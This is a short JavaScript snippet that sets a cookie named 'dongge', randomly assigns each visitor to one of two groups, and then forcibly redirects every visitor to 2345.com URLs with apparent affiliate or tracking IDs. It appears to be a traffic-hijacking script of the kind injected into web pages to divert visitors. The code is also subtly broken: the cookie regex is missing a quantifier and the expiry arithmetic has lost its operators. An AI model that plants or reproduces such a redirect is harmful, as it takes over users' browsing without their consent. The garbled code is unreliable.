function getCookie(name) { var arr,reg=new RegExp("(^| )"+name+"=([^;])(;|$)"); if(arr=document.cookie.match(reg)) return unescape(arr[2]); else return null; } function GetRandomNum(Min,Max) {
var Range = Max - Min;
var Rand = Math.random();
return(Min + Math.round(Rand * Range));
} function setCookie(name,value) { var Days = 3; var exp = new Date(); exp.setTime(exp.getTime() + Days246060*1000); document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString(); } var ck=getCookie("dongge"); if(!ck || ck==null || ck=="") { var n=GetRandomNum(1,100); if(n>65) { ck="a"; }else { ck="b"; } setCookie("dongge",ck); } if(ck=="b") { location.href="https://www.2345.com/?34367"; }else if(ck=="a") { location.href="https://www.2345.com/?k32605358"; }